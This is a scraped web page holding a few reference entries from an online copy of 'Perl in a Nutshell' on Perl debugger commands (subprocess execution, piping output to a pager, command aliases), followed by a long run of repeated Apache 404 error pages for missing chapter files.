Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c06_047.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: !!

Perl in a Nutshell

Perl in a NutshellSearch this book

!!

!! cmd

Runs cmd in a subprocess (which reads from DB::IN and writes to DB::OUT). See O shellBang.

Previous: Reference: ! | Perl in a Nutshell | Next: Reference: |
Reference: ! | Book Index | Reference: |


Reference: |

Perl in a Nutshell

Perl in a NutshellSearch this book

|

| dbcmd

Runs specified debugger command, piping DB::OUT to $ENV{PAGER}.

Previous: Reference: !! | Perl in a Nutshell | Next: Reference: ||
Reference: !! | Book Index | Reference: ||


Reference: ||

Perl in a Nutshell

Perl in a NutshellSearch this book

||

|| dbcmd

Same as |dbcmd, but DB::OUT is temporarily selected as well. Often used with commands that would otherwise produce long output, such as:

|V main

Previous: Reference: | | Perl in a Nutshell | Next: Reference: =
Reference: | | Book Index | Reference: =


Reference: =

Perl in a Nutshell

Perl in a NutshellSearch this book

=

= [alias value]

Defines a command alias. If alias and value are omitted, lists all current aliases.

Previous: Reference: || | Perl in a Nutshell | Next: Reference: command
Reference: || | Book Index | Reference: command


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c06_052.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_001.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_002.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_003.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_004.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_005.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_006.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_007.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_008.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_009.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_010.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_011.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_012.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_013.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_014.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_015.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_016.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_017.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_018.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_019.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_020.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_021.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_022.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_023.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_024.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_025.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_026.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_027.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_028.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_029.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_030.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_031.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_032.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_033.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_034.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_035.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_036.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_037.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_038.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_039.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_040.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_041.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_042.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_043.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_044.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_045.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_046.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_047.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_048.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_049.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_050.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_051.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_052.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_053.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_054.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_055.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_056.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_057.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_058.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_059.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_060.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_061.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_062.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_063.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_064.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_065.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_066.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_067.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_068.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_069.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_070.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_071.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_072.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_073.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_074.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_075.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_076.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_077.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_078.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_079.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_080.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_081.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_082.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_083.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_084.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_085.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_086.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_087.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_088.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_089.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_090.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_091.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_092.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_093.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_094.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_095.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_096.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_097.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_098.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_099.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_100.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_101.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_102.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_103.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_104.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_105.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_106.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_107.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_108.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_109.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_110.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_111.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_112.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_113.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_114.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_115.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_116.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_117.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_118.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_119.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_120.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_121.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_122.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_123.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_124.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_125.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_126.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_127.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_128.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_129.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_130.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_131.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_132.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_133.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_134.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_135.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_136.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_137.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_138.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_139.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_140.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_141.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_142.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_143.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_144.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_145.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_146.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_147.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_148.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_149.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_150.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_151.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_152.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_153.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_154.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_155.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_156.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_157.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_158.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_159.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_160.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_161.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_162.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_163.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_164.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_165.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_166.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_167.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_168.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_169.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_170.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_171.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_172.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_173.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_174.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_175.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_176.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_177.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_178.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_179.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_180.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_181.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_182.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_183.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

